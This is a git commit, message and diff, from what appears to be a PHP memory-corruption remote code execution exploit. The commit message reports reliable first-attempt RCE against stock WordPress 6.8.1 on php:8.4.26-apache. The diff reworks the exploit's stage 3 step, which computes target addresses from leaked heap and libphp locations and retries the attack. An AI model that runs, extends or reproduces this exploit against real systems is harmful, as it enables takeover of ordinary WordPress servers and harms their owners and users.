Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic

WordPress on stock PHP (no php.ini) is vulnerable with the same heap
profile parameters as plain PHP. Tested 5/5 first-attempt RCE against
php:8.4.26-apache + WordPress 6.8.1 with no configuration changes.

Simplified stage 3 retry loop: removed the HTDATA offset scanning that
was added during WordPress debugging (unnecessary, stock offsets work).
Stage 3 now uses the same retry count as stages 1 and 2.
This commit is contained in:
neko
2026-10-22 19:59:12 +00:00
parent fedef710e1
commit ac4e654dd6
2 changed files with 5 additions and 4 deletions
+4 -4
View File
@@ -924,9 +924,7 @@ def cmd_exploit(args) -> int:
if single:
ex.rotate()
htdata_addr = chunk + ex.htdata_offset
zif_addr = libphp + zif
t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
if args.proof_file:
try:
@@ -962,8 +960,10 @@ def cmd_exploit(args) -> int:
pass
return ""
proof = ""
for attempt in range(1, args.retries + 3):
htdata_addr = chunk + ex.htdata_offset
t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
for attempt in range(1, args.retries + 1):
try:
ex.stage3(htdata_addr, zif_addr)
except OSError as e: